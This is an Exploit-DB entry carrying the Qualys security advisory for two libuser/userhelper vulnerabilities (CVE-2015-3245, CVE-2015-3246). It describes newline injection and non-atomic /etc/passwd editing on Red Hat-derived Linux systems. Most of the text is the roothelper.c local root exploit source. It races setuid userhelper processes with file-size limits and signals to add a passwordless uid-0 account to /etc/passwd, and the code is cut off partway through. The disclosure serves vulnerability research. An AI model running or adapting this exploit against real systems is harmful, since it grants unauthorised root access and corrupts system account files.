ID EDB-ID:37706 Type exploitdb Reporter Qualys Corporation Modified 2015-07-27T00:00:00
Description
Libuser Library - Multiple Vulnerabilities. CVE-2015-3245,CVE-2015-3246. Dos exploit for linux platform
Qualys Security Advisory
CVE-2015-3245 userhelper chfn() newline filtering
CVE-2015-3246 libuser passwd file handling
--[ Summary ]-----------------------------------------------------------------
The libuser library implements a standardized interface for manipulating
and administering user and group accounts, and is installed by default
on Linux distributions derived from Red Hat's codebase. During an
internal code audit at Qualys, we discovered multiple libuser-related
vulnerabilities that allow local users to perform denial-of-service and
privilege-escalation attacks. As a proof of concept, we developed an
unusual local root exploit against one of libuser's applications.
----[ Vulnerability #1 (CVE-2015-3245 userhelper chfn() newline filtering)
We discovered a bug in userhelper, a setuid-root program from the
usermode package that provides a basic interface to change a user's
password, gecos information, and shell; its -f (Full Name), -o (Office),
-p (Office Phone) and -h (Home Phone) command-line options are
equivalent to those of the traditional chfn program.
userhelper's chfn() function verifies that the fields it was given on
the command-line are sane (i.e., contain no forbidden characters).
Unfortunately, these forbidden characters (":,=") do not include '\n'
and allow local attackers to inject newline characters into /etc/passwd
and alter this file in unexpected ways.
To the best of our knowledge, this bug is a local denial-of-service
only: we were not able to turn it into a local root exploit, but maybe
some creative minds will.
There is another, secondary aspect of this bug: userhelper depends on
libuser to modify /etc/passwd, and libuser's format_generic() and
generic_setpass() functions reject fields containing a ':' that would be
interpreted as a field separator. Vulnerability #1 could have been
prevented if libuser had also rejected '\n' characters.
----[ Vulnerability #2 (CVE-2015-3246 libuser passwd file handling)
We discovered a bug in libuser itself: even though traditional programs
like passwd, chfn, and chsh work on a temporary copy of /etc/passwd and
eventually rename() it, libuser modifies /etc/passwd directly.
Unfortunately, if anything goes wrong during these modifications,
libuser may leave /etc/passwd in an inconsistent state.
This bug is not just another local denial-of-service: we were able to
turn it into a local root exploit against userhelper and chfn (if linked
with libuser).
There is also another, secondary aspect of this bug: glibc modules like
nss and nscd do not expect /etc/passwd to be directly modified while
they parse its contents, and programs from packages like shadow-utils
and util-linux use lckpwdf() locks that are incompatible with libuser's
fcntl() locks.
--[ Exploitation Overview ]---------------------------------------------------
In this section, we outline our userhelper exploit against libuser's
Vulnerability #2; later in this advisory, we explain how it can be
easily adapted to chfn (if linked with libuser).
Our ultimate goal is to inject an arbitrary line into /etc/passwd (for
example, the a-line "\na::0:0::/:\n") but we first need to understand
how libuser's generic_mod() function modifies our own user's line in
/etc/passwd:
- open() /etc/passwd for reading and writing (O_RDWR, but not O_APPEND
nor O_TRUNC);
- acquire the file's fcntl() write-lock (an exclusive, but advisory
lock);
- read() the file's contents (into a g_malloc()ated buffer);
- lseek() the file to the beginning of our user's line (and skip the
unmodified lines that precede);
- write() our user's new, modified line (and the rest of the unmodified
lines that follow) to the file;
- ftruncate() the file (if our user's new, modified line is shorter than
the old one);
- release the file's fcntl() write-lock;
- close() the file.
Surprisingly, we only need two things in our toolbox in order to exploit
this function and inject the a-line into /etc/passwd:
- a pencil and eraser that allows us to repeatedly write() and
re-write() our own GECOS field (its length and last character in
particular) in /etc/passwd: the userhelper program itself;
- a pair of scissors that allows us to interrupt write() with byte
precision and avoid ftruncate(): the resource limit RLIMIT_FSIZE, "The
maximum size of files that the process may create. Attempts to extend
a file beyond this limit result in delivery of a SIGXFSZ signal. By
default, this signal terminates a process, but a process can catch
this signal instead, in which case the relevant system call (e.g.,
write(2), truncate(2)) fails with the error EFBIG."
For each character in the a-line (beginning with its last character and
ending with its first character), we fork() a new process and execve()
userhelper with:
- a GECOS field that allows us to write() the character to its target
offset in /etc/passwd;
- an RLIMIT_FSIZE that allows us to terminate the process before it
write()s or ftruncate()s the characters that follow.
In this example, the newline character '\n' is represented by |, and the
last character written (before write() is interrupted by RLIMIT_FSIZE)
is marked with ^:
...|...|user:x:1000:1000::/home/user:/bin/bash|...|...|
...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAA:/home/user:/bin/bash|...|...|
...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAA:/home/user:|...|...|
^
...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/home/:|...|...|
^
...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/:|...|...|
^
...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA::/:|...|...|
^
...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0::/:|...|...|
^
...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:0::/:|...|...|
^
...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0:0::/:|...|...|
^
...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:0:0::/:|...|...|
^
...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA::0:0::/:|...|...|
^
...|...|user:x:1000:1000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa::0:0::/:|...|...|
^
...|...|user:x:1000:1000:AAAAAAAA:/home/user:/bin/bash|a::0:0::/:|...|...|
^
...|...|user:x:1000:1000::/home/user:/bin/bash|a::0:0::/:|...|...|
--[ Exploitation Details ]----------------------------------------------------
In this section, we discuss the problems we encountered while developing
our userhelper exploit, and how we solved them.
----[ Problem #1 (missing fields)
At the end of our "Exploitation Overview" example, our home-directory
and shell-program fields seem to magically reappear in /etc/passwd,
although they were previously cut out by RLIMIT_FSIZE.
This magic trick introduces Problem #1: we cannot simply fork() a new
process for each character in the a-line, execve() userhelper, and let
it run until the character is written to its target offset in
/etc/passwd, because libuser refuses to modify our user's line if some
of its fields are missing.
In order to solve this Problem #1, we fork() a new process for each
character in the a-line, execve() userhelper, and let it load our user's
original, uncut line from /etc/passwd, but we SIGSTOP the process before
it open()s /etc/passwd for writing. Only after we have started and
stopped all userhelper processes can we safely SIGCONT them, one at a
time.
----[ Problem #2 (backup file)
Before libuser open()s /etc/passwd for writing, it creates a backup file
named /etc/passwd- and if this backup fails, libuser refuses to modify
/etc/passwd. Unfortunately, our RLIMIT_FSIZE also applies to the backup,
which will fail if the RLIMIT_FSIZE is less than the size of
/etc/passwd.
This introduces Problem #2: in apparent contradiction to what we just
said, our exploit needs to decrease RLIMIT_FSIZE after each character it
injects into /etc/passwd (as shown in the "Exploitation Overview"
example).
In order to solve this Problem #2, we refine Problem #1's
SIGSTOP/SIGCONT solution: we let each userhelper process load our user's
original, uncut line from /etc/passwd, and SIGSTOP the process after it
creates the backup file but before it modifies /etc/passwd. In other
words, we have to win a race against generic_mod()'s system calls, which
create the backup file and modify /etc/passwd:
- open() the passwd file /etc/passwd for reading;
- acquire the passwd file's fcntl() read-lock;
- open() the backup file /etc/passwd- for writing;
- acquire the backup file's fcntl() write-lock;
- read() from the passwd file;
- write() to the backup file;
- ftruncate() the backup file;
- release the backup file's fcntl() write-lock;
- close() the backup file;
- release the passwd file's fcntl() read-lock;
- close() the passwd file;
- open() /etc/passwd for reading and writing;
[RACE WINDOW BEGINS]
- acquire the file's fcntl() write-lock: failure, sleep for a few microseconds;
- acquire the file's fcntl() write-lock: failure, sleep for a few microseconds;
- acquire the file's fcntl() write-lock: failure, sleep for a few microseconds;
[RACE WINDOW ENDS]
- acquire the file's fcntl() write-lock: success;
- read() the file's contents;
- etc.
In order to reliably win this race against all userhelper processes (one
for each character in the a-line), we:
- widen the race window. We acquire a read-lock on /etc/passwd before we
execve() userhelper, which prevents libuser from acquiring the
write-lock on /etc/passwd, and forces it to sleep for a few
microseconds (LU_LOCK_TIMEOUT is 2, LU_MAX_LOCK_ATTEMPTS is 6).
- pinpoint the race window. We monitor the filesystem for the following
sequence of inotify events:
. IN_CREATE on /etc if the backup file does not exist;
. IN_CLOSE_WRITE on the backup file;
. IN_CLOSE_NOWRITE on the passwd file;
. IN_OPEN on the passwd file.
- preempt the userhelper processes. We setpriority() them to the lowest
priority, sched_setscheduler() them to SCHED_IDLE, and
sched_setaffinity() them to the same CPU as our exploit.
----[ Problem #3 (last user)
If our user's line is the last one in /etc/passwd, then the last
character we inject into the file (the '\n' that ends our user's line
and begins the a-line) is also the very last character of write()'s
buffer, which introduces Problem #3: this last write() will not exceed
our RLIMIT_FSIZE, and the consequent ftruncate() will delete the a-line
from the end of /etc/passwd.
In order to solve this Problem #3:
- either we SIGKILL the last userhelper process after write() but before
ftruncate(). We reliably win this race with an IN_MODIFY event on
/etc/passwd and the "same CPU, different priorities" preemption of
userhelper.
- or we exploit Vulnerability #1 and inject a '\n' into our own GECOS
field. As far as libuser is concerned, this '\n' ends our user's line
and begins a new one (with our leftover home-directory and
shell-program fields): our user's line is no longer the last one in
/etc/passwd.
----[ Problem #4 (maximum GECOS_LENGTH)
As shown in our "Exploitation Overview" example, we only have two
options for arbitrary character injection into /etc/passwd:
- either we use a character that we artificially inject through our own
GECOS field (not an option for characters like ':' and '\n');
- or we reuse a character that is naturally present in /etc/passwd (our
only option for characters like ':' and '\n').
Unfortunately, both of these options might fail to inject a character
after the end of /etc/passwd (a consequence of Problem #2):
- if our own GECOS field is too far away from the end of /etc/passwd
(farther than userhelper's maximum GECOS_LENGTH, 127 characters);
- if the character is not already one of the last GECOS_LENGTH
characters in /etc/passwd.
If faced with both of these problems, we solve the first one (and
Problem #4) by repeatedly deleting lines from the end of /etc/passwd,
until our own user's line is the last one in the file: we enlarge our
own GECOS field, delete characters from the end of /etc/passwd with our
RLIMIT_FSIZE scissors, shrink our GECOS field again, repeat.
----[ Problem #5 (time complexity)
For each character in the a-line, we usually have to choose one of
several (GECOS, RLIMIT_FSIZE) pairs that allow us to write the character
to its target offset in /etc/passwd.
These pairs represent the nodes of a search tree that grows
exponentially (with the number of characters in the a-line) but may
contain few or no solutions. In order to avoid this tree's worst-case
time complexity, we:
- inject the shortest a-line possible, "\na::0:0::/:\n";
- perform a recursive depth-first search on the tree, and return the
first solution we find (instead of, for example, the solution that
minimizes /etc/passwd's alterations);
- replace the a-line's username with a wildcard, and accept any
lowercase character that is not already a username (the a-line's
username was a major problem, because it is the last character we
inject, and therefore occurs deep down the tree's branches; the
a-line's '0' characters are only a minor problem, because they occur
in the middle of the tree's branches, whence we can backtrack
quickly).
----[ chfn
util-linux's chfn from Red Hat's codebase is linked with libuser, and
can be exploited by our public roothelper.c with just a few changes
(left as an exercise for the interested reader):
- userhelper uses a simple Userhelper/Consolehelper request/response
protocol in order to prompt for and read the user's password, but chfn
uses traditional terminal interaction;
- if our user's line is the last one in /etc/passwd, we can exploit
Vulnerability #1 against userhelper, but we have to win Problem #3's
write/ftruncate race against chfn;
- userhelper returns 0/255 on success/failure, but chfn returns 0/1.
--[ Acknowledgments ]---------------------------------------------------------
We would like to thank Red Hat's Security Response Team and developers
for promptly addressing these issues.
------ roothelper.c exploit ------
/*
* roothelper.c - an unusual local root exploit against:
* CVE-2015-3245 userhelper chfn() newline filtering
* CVE-2015-3246 libuser passwd file handling
* Copyright (C) 2015 Qualys, Inc.
*
* gecos_* types and functions inspired by userhelper.c
* Copyright (C) 1997-2003, 2007, 2008 Red Hat, Inc.
*
* UH_* #defines and comments inspired by userhelper.h
* Copyright (C) 1997-2001, 2007 Red Hat, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#define _GNU_SOURCE
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <limits.h>
#include <pwd.h>
#include <sched.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
/* A maximum GECOS field length. There's no hard limit, so we guess. */
#define GECOS_LENGTH 127
typedef char gecos_field[GECOS_LENGTH];
/* A structure to hold broken-out GECOS data. The number and names of the
* fields are dictated entirely by the flavor of finger we use. Seriously. */
struct gecos_data {
gecos_field full_name; /* full user name */
gecos_field office; /* office */
gecos_field office_phone; /* office phone */
gecos_field home_phone; /* home phone */
gecos_field site_info; /* other stuff */
};
static struct userhelper {
struct gecos_data gecos;
rlim_t fsizelim;
pid_t pid;
int fd;
} userhelpers[GECOS_LENGTH];
static void
die_in_parent(const char *const file, const unsigned int line,
const char *const function)
{
fprintf(stderr, "died in parent: %s:%u: %s\n", file, line, function);
fflush(stderr);
unsigned int i;
for (i = 0; i < GECOS_LENGTH; i++) {
const pid_t pid = userhelpers[i].pid;
if (pid <= 0) continue;
kill(pid, SIGKILL);
}
_exit(EXIT_FAILURE);
}
static void
die_in_child(const char *const file, const unsigned int line,
const char *const function)
{
fprintf(stderr, "died in child: %s:%u: %s\n", file, line, function);
exit(EXIT_FAILURE);
}
static void (*die_fn)(const char *, unsigned int, const char *) = die_in_parent;
#define die() die_fn(__FILE__, __LINE__, __func__)
static void *
xmalloc(const size_t size)
{
if (size <= 0) die();
if (size >= INT_MAX) die();
void *const ptr = malloc(size);
if (ptr == NULL) die();
return ptr;
}
static void *
xrealloc(void *const old, const size_t size)
{
if (size <= 0) die();
if (size >= INT_MAX) die();
void *const new = realloc(old, size);
if (new == NULL) die();
return new;
}
static char *
xstrndup(const char *const old, const size_t len)
{
if (old == NULL) die();
if (len >= INT_MAX) die();
char *const new = strndup(old, len);
if (new == NULL) die();
if (len != strlen(new)) die();
return new;
}
static int
xsnprintf(char *const str, const size_t size, const char *const format, ...)
{
if (str == NULL) die();
if (size <= 0) die();
if (size >= INT_MAX) die();
if (format == NULL) die();
va_list ap;
va_start(ap, format);
const int len = vsnprintf(str, size, format, ap);
va_end(ap);
if (len < 0) die();
if ((unsigned int)len >= size) die();
if ((unsigned int)len != strlen(str)) die();
return len;
}
static int
xopen(const char *const pathname, const int flags)
{
if (pathname == NULL) die();
if (*pathname != '/') die();
if (flags != O_RDONLY) die();
const int fd = open(pathname, flags);
if (fd <= -1) die();
static const struct flock rdlock = {
.l_type = F_RDLCK,
.l_whence = SEEK_SET,
.l_start = 0,
.l_len = 0
};
if (fcntl(fd, F_SETLK, &rdlock) != 0) die();
return fd;
}
static void
xclose(const int fd)
{
if (fd <= -1) die();
static const struct flock unlock = {
.l_type = F_UNLCK,
.l_whence = SEEK_SET,
.l_start = 0,
.l_len = 0
};
if (fcntl(fd, F_SETLK, &unlock) != 0) die();
if (close(fd) != 0) die();
}
#define GECOS_BADCHARS ":,=\n"
/* A simple function to compute the size of a gecos string containing the
* data we have. */
static size_t
gecos_size(const struct gecos_data *const parsed)
{
if (parsed == NULL) die();
size_t len = 4; /* commas! */
len += strlen(parsed->full_name);
len += strlen(parsed->office);
len += strlen(parsed->office_phone);
len += strlen(parsed->home_phone);
len += strlen(parsed->site_info);
len++;
return len;
}
/* Parse the passed-in GECOS string and set PARSED to its broken-down contents.
Note that the parsing is performed using the convention obeyed by BSDish
finger(1) under Linux. */
static void
gecos_parse(const char *const gecos, struct gecos_data *const parsed)
{
if (gecos == NULL) die();
if (strlen(gecos) >= INT_MAX) die();
if (parsed == NULL) die();
memset(parsed, 0, sizeof(*parsed));
unsigned int i;
const char *field = gecos;
for (i = 0; ; i++) {
const char *field_end = strchrnul(field, ',');
gecos_field *dest = NULL;
switch (i) {
case 0:
dest = &parsed->full_name;
break;
case 1:
dest = &parsed->office;
break;
case 2:
dest = &parsed->office_phone;
break;
case 3:
dest = &parsed->home_phone;
break;
case 4:
field_end = rawmemchr(field_end, '\0');
dest = &parsed->site_info;
break;
default:
die();
}
const size_t field_len = field_end - field;
xsnprintf(*dest, sizeof(*dest), "%.*s", (int)field_len, field);
if (strlen(*dest) != field_len) die();
if (strpbrk(*dest, GECOS_BADCHARS) != NULL && i != 4) die();
if (*field_end == '\0') break;
field = field_end + 1;
}
if (gecos_size(parsed) > GECOS_LENGTH) die();
}
/* Assemble a new gecos string. */
static const char *
gecos_assemble(const struct gecos_data *const parsed)
{
static char ret[GECOS_LENGTH];
size_t i;
if (parsed == NULL) die();
/* Construct the basic version of the string. */
xsnprintf(ret, sizeof(ret), "%s,%s,%s,%s,%s",
parsed->full_name,
parsed->office,
parsed->office_phone,
parsed->home_phone,
parsed->site_info);
/* Strip off terminal commas. */
i = strlen(ret);
while ((i > 0) && (ret[i - 1] == ',')) {
ret[i - 1] = '\0';
i--;
}
return ret;
}
/* Descriptors used to communicate between userhelper and consolhelper. */
#define UH_INFILENO 3
#define UH_OUTFILENO 4
/* Userhelper request format:
request code as a single character,
request data size as UH_REQUEST_SIZE_DIGITS decimal digits
request data
'\n' */
#define UH_REQUEST_SIZE_DIGITS 8
/* Synchronization point code. */
#define UH_SYNC_POINT 32
/* Valid userhelper request codes. */
#define UH_ECHO_ON_PROMPT 34
#define UH_ECHO_OFF_PROMPT 35
#define UH_EXPECT_RESP 39
#define UH_SERVICE_NAME 40
#define UH_USER 42
/* Consolehelper response format:
response code as a single character,
response data
'\n' */
/* Consolehelper response codes. */
#define UH_TEXT 33
/* Valid userhelper error codes. */
#define ERR_UNK_ERROR 255 /* unknown error */
/* Paths, flag names, and other stuff. */
#define UH_PATH "/usr/sbin/userhelper"
#define UH_FULLNAME_OPT "-f"
#define UH_OFFICE_OPT "-o"
#define UH_OFFICEPHONE_OPT "-p"
#define UH_HOMEPHONE_OPT "-h"
static char
read_request(const int fd, char *const data, const size_t size)
{
if (fd <= -1) die();
if (data == NULL) die();
if (size >= INT_MAX) die();
char header[1 + UH_REQUEST_SIZE_DIGITS + 1];
if (read(fd, header, sizeof(header)-1) != sizeof(header)-1) die();
header[sizeof(header)-1] = '\0';
errno = 0;
char *endptr = NULL;
const unsigned long len = strtoul(&header[1], &endptr, 10);
if (errno != 0 || endptr != &header[sizeof(header)-1]) die();
if (len >= size) die();
if (read(fd, data, len+1) != (ssize_t)(len+1)) die();
if (data[len] != '\n') die();
data[len] = '\0';
if (strlen(data) != len) die();
if (strchr(data, '\n') != NULL) die();
return header[0];
}
static void
send_reply(const int fd, const unsigned char type, const char *const data)
{
if (fd <= -1) die();
if (!isascii(type)) die();
if (!isprint(type)) die();
if (data == NULL) die();
if (strpbrk(data, "\r\n") != NULL) die();
char buf[BUFSIZ];
const int len = xsnprintf(buf, sizeof(buf), "%c%s\n", (int)type, data);
if (send(fd, buf, len, MSG_NOSIGNAL) != len) die();
}
#define ETCDIR "/etc"
#define PASSWD "/etc/passwd"
#define BACKUP "/etc/passwd-"
static struct {
char username[64];
char password[64];
struct gecos_data gecos;
} my;
static volatile sig_atomic_t is_child_dead;
static void
sigchild_handler(const int signum __attribute__ ((__unused__)))
{
is_child_dead = true;
}
static int
wait_for_userhelper(struct userhelper *const uh, const int options)
{
if (uh == NULL) die();
if (uh->pid <= 0) die();
if ((options & ~(WUNTRACED | WCONTINUED)) != 0) die();
int status;
for (;;) {
const pid_t pid = waitpid(uh->pid, &status, options);
if (pid == uh->pid) break;
if (pid > 0) _exit(255);
if (pid != -1) die();
if (errno != EINTR) die();
}
if (WIFEXITED(status) || WIFSIGNALED(status)) uh->pid = -1;
return status;
}
static void
forkstop_userhelper(struct userhelper *const uh)
{
if (uh == NULL) die();
if (uh->pid != 0) die();
if (gecos_size(&uh->gecos) > GECOS_LENGTH) die();
struct rlimit fsize;
if (getrlimit(RLIMIT_FSIZE, &fsize) != 0) die();
if (uh->fsizelim > fsize.rlim_max) die();
if (uh->fsizelim <= 0) die();
fsize.rlim_cur = uh->fsizelim;
cpu_set_t old_cpus;
CPU_ZERO(&old_cpus);
if (sched_getaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die();
{ const int cpu = sched_getcpu();
if (cpu >= CPU_SETSIZE) die();
if (cpu < 0) die();
cpu_set_t new_cpus;
CPU_ZERO(&new_cpus);
CPU_SET(cpu, &new_cpus);
if (sched_setaffinity(0, sizeof(new_cpus), &new_cpus) != 0) die(); }
int sv[2];
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) != 0) die();
if (is_child_dead) die();
static const struct sigaction sigchild_action = {
.sa_handler = sigchild_handler, .sa_flags = SA_NOCLDSTOP };
if (sigaction(SIGCHLD, &sigchild_action, NULL) != 0) die();
uh->pid = fork();
if (uh->pid <= -1) die();
if (uh->pid == 0) {
die_fn = die_in_child;
if (close(sv[1]) != 0) die();
if (dup2(sv[0], UH_INFILENO) != UH_INFILENO) die();
if (dup2(sv[0], UH_OUTFILENO) != UH_OUTFILENO) die();
const int devnull_fd = open("/dev/null", O_RDWR);
if (dup2(devnull_fd, STDIN_FILENO) != STDIN_FILENO) die();
if (dup2(devnull_fd, STDOUT_FILENO) != STDOUT_FILENO) die();
if (dup2(devnull_fd, STDERR_FILENO) != STDERR_FILENO) die();
if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die();
if (signal(SIGXFSZ, SIG_IGN) == SIG_ERR) die();
if (setrlimit(RLIMIT_FSIZE, &fsize) != 0) die();
if (setpriority(PRIO_PROCESS, 0, +19) != 0) die();
static const struct sched_param sched_param = { .sched_priority = 0 };
(void) sched_setscheduler(0, SCHED_IDLE, &sched_param);
char *const argv[] = { UH_PATH,
UH_FULLNAME_OPT, uh->gecos.full_name,
UH_OFFICE_OPT, uh->gecos.office,
UH_OFFICEPHONE_OPT, uh->gecos.office_phone,
UH_HOMEPHONE_OPT, uh->gecos.home_phone,
NULL };
char *const envp[] = { NULL };
execve(UH_PATH, argv, envp);
die();
}
if (die_fn != die_in_parent) die();
if (close(sv[0]) != 0) die();
uh->fd = sv[1];
unsigned long expected_responses = 0;
for (;;) {
char data[BUFSIZ];
const char type = read_request(uh->fd, data, sizeof(data));
if (type == UH_SYNC_POINT) break;
switch (type) {
case UH_USER:
if (strcmp(data, my.username) != 0) die();
break;
case UH_SERVICE_NAME:
if (strcmp(data, "chfn") != 0) die();
break;
case UH_ECHO_ON_PROMPT:
case UH_ECHO_OFF_PROMPT:
if (++expected_responses == 0) die();
break;
case UH_EXPECT_RESP:
if (strtoul(data, NULL, 10) != expected_responses) die();
break;
default:
break;
}
}
if (expected_responses != 1) die();
const int lpasswd_fd = xopen(PASSWD, O_RDONLY);
const int inotify_fd = inotify_init();
if (inotify_fd <= -1) die();
if (inotify_add_watch(inotify_fd, PASSWD, IN_CLOSE_NOWRITE |
IN_OPEN) <= -1) die();
if (inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE) <= -1) {
if (errno != ENOENT) die();
if (inotify_add_watch(inotify_fd, ETCDIR, IN_CREATE) <= -1) die();
}
send_reply(uh->fd, UH_TEXT, my.password);
send_reply(uh->fd, UH_SYNC_POINT, "");
if (close(uh->fd) != 0) die();
uh->fd = -1;
unsigned int state = 0;
static const uint32_t transition[] = { IN_CLOSE_WRITE,
IN_CLOSE_NOWRITE, IN_OPEN, 0 };
for (;;) {
if (is_child_dead) die();
char buffer[10 * (sizeof(struct inotify_event) + NAME_MAX + 1)];
const ssize_t _buflen = read(inotify_fd, buffer, sizeof(buffer));
if (is_child_dead) die();
if (_buflen <= 0) die();
size_t buflen = _buflen;
if (buflen > sizeof(buffer)) die();
struct inotify_event *ep;
for (ep = (struct inotify_event *)(buffer); buflen >= sizeof(*ep);
ep = (struct inotify_event *)(ep->name + ep->len)) {
buflen -= sizeof(*ep);
if (ep->len > 0) {
if (buflen < ep->len) die();
buflen -= ep->len;
if ((ep->mask & IN_CREATE) == 0) die();
(void) inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE);
continue;
}
if (ep->len != 0) die();
while ((ep->mask & transition[state]) != 0) {
ep->mask &= ~transition[state++];
if (transition[state] == 0) goto stop_userhelper;
}
}
if (buflen != 0) die();
}
stop_userhelper:
if (kill(uh->pid, SIGSTOP) != 0) die();
if (close(inotify_fd) != 0) die();
const int status = wait_for_userhelper(uh, WUNTRACED);
if (!WIFSTOPPED(status)) die();
if (WSTOPSIG(status) != SIGSTOP) die();
xclose(lpasswd_fd);
if (signal(SIGCHLD, SIG_DFL) == SIG_ERR) die();
if (sched_setaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die();
}
static void
continue_userhelper(struct userhelper *const uh)
{
if (uh == NULL) die();
if (uh->fd != -1) die();
if (uh->pid <= 0) die();
if (kill(uh->pid, SIGCONT) != 0) die();
{ const int status = wait_for_userhelper(uh, WCONTINUED);
if (!WIFCONTINUED(status)) die(); }
{ const int status = wait_for_userhelper(uh, 0);
if (!WIFEXITED(status)) die();
if (WEXITSTATUS(status) !=
((uh->fsizelim == RLIM_INFINITY) ? 0 : ERR_UNK_ERROR)) die(); }
memset(uh, 0, sizeof(*uh));
}
static void
create_backup_of_passwd_file(void)
{
char backup[] = "/tmp/passwd-XXXXXX";
const mode_t prev_umask = umask(077);
const int ofd = mkstemp(backup);
(void) umask(prev_umask);
if (ofd <= -1) die();
printf("Creating a backup copy of \"%s\" named \"%s\"\n", PASSWD, backup);
const int ifd = xopen(PASSWD, O_RDONLY);
for (;;) {
char buf[BUFSIZ];
const ssize_t len = read(ifd, buf, sizeof(buf));
if (len == 0) break;
if (len <= 0) die();
if (write(ofd, buf, len) != len) die();
}
xclose(ifd);
if (close(ofd) != 0) die();
}
static void
delete_lines_from_passwd_file(void)
{
struct gecos_data gecos;
memset(&gecos, 0, sizeof(gecos));
xsnprintf(gecos.site_info, sizeof(gecos.site_info),
"%s", my.gecos.site_info);
const ssize_t fullname_max = GECOS_LENGTH - gecos_size(&gecos);
if (fullname_max >= GECOS_LENGTH) die();
if (fullname_max <= 0) die();
char fragment[64];
xsnprintf(fragment, sizeof(fragment), "\n%s:", my.username);
char *contents = NULL;
for (;;) {
struct stat st;
const int fd = xopen(PASSWD, O_RDONLY);
if (fstat(fd, &st) != 0) die();
if (st.st_size >= INT_MAX) die();
if (st.st_size <= 0) die();
contents = xrealloc(contents, st.st_size + 1);
if (read(fd, contents, st.st_size) != st.st_size) die();
contents[st.st_size] = '\0';
xclose(fd);
const char *cp = strstr(contents, fragment);
if (cp == NULL) die();
cp = strchr(cp + 2, '\n');
if (cp == NULL) die();
if (cp[1] == '\0') break;
char *const tp = contents + st.st_size-1;
*tp = '\0';
if (tp <= cp) die();
if (tp - cp > fullname_max) cp = tp - fullname_max;
cp = strpbrk(cp, "\n:, ");
if (cp == NULL) die();
const ssize_t fullname_len = tp - cp;
if (fullname_len >= GECOS_LENGTH) die();
if (fullname_len <= 0) die();
printf("Deleting %zd bytes from \"%s\"\n", fullname_len, PASSWD);
struct userhelper *const uh = &userhelpers[0];
memset(uh->gecos.full_name, 'A', fullname_len);
uh->fsizelim = st.st_size;
forkstop_userhelper(uh);
continue_userhelper(uh);
uh->fsizelim = RLIM_INFINITY;
forkstop_userhelper(uh);
continue_userhelper(uh);
}
free(contents);
}
static size_t passwd_fsize;
static int generate_userhelpers(const char *);
#define IS_USER_LAST "last user in passwd file?"
static char candidate_users[256];
static char superuser_elect;
int
main(void)
{
create_backup_of_passwd_file();
{ char candidate[] = "a";
for (; candidate[0] <= 'z'; candidate[0]++) {
if (getpwnam(candidate) != NULL) continue;
strcat(candidate_users, candidate);
} }
if (candidate_users[0] == '\0') die();
const struct passwd *const pwd = getpwuid(getuid());
if ((pwd == NULL) || (pwd->pw_name == NULL)) die();
xsnprintf(my.username, sizeof(my.username), "%s", pwd->pw_name);
gecos_parse(pwd->pw_gecos, &my.gecos);
if (fputs("Please enter your password:\n", stdout) == EOF) die();
if (fgets(my.password, sizeof(my.password), stdin) == NULL) die();
char *const newline = strchr(my.password, '\n');
if (newline == NULL) die();
*newline = '\0';
{ struct userhelper *const uh = &userhelpers[0];
uh->fsizelim = RLIM_INFINITY;
forkstop_userhelper(uh);
continue_userhelper(uh); }
retry:
if (generate_userhelpers(IS_USER_LAST)) {
struct userhelper *const uh1 = &userhelpers[1];
strcpy(uh1->gecos.full_name, "\n");
uh1->fsizelim = passwd_fsize + 1;
struct userhelper *const uh0 = &userhelpers[0];
uh0->fsizelim = passwd_fsize;
forkstop_userhelper(uh1), forkstop_userhelper(uh0);
continue_userhelper(uh1), continue_userhelper(uh0);
if (generate_userhelpers(IS_USER_LAST)) die();
}
static const char a[] = "?::0:0::/:";
printf("Attempting to add \"%s\" to \"%s\"\n", a, PASSWD);
const int n = generate_userhelpers(a);
if (n == -1) {
static int retries;
if (retries++) die();
memset(userhelpers, 0, sizeof(userhelpers));
delete_lines_from_passwd_file();
goto retry;
}
if (n <= 0) die();
if (n >= GECOS_LENGTH) die();
if (superuser_elect == '\0') die();
int i;
for (i = n; --i >= 0; ) {
printf("Starting and stopping userhelper #%d\n", i);
forkstop_userhelper(&userhelpers[i]);
}
for (i = n; --i >= 0; ) {
printf("Continuing stopped userhelper #%d\n", i);
continue_userhelper(&userhelpers[i]);
}
printf("Exploit successful, run \"su %c\" to become root\n",
(int)superuser_elect);
{ struct userhelper *const uh = &userhelpers[0];
uh->fsizelim = RLIM_INFINITY;
uh->gecos = my.gecos;
forkstop_userhelper(uh);
continue_userhelper(uh); }
exit(EXIT_SUCCESS);
}
static void
generate_fullname(char *const fullname, const ssize_t fullname_len,
const char c)
{
if (fullname == NULL) die();
if (fullname_len < 0) die();
if (fullname_len >= GECOS_LENGTH) die();
memset(fullname, 'A', fullname_len);
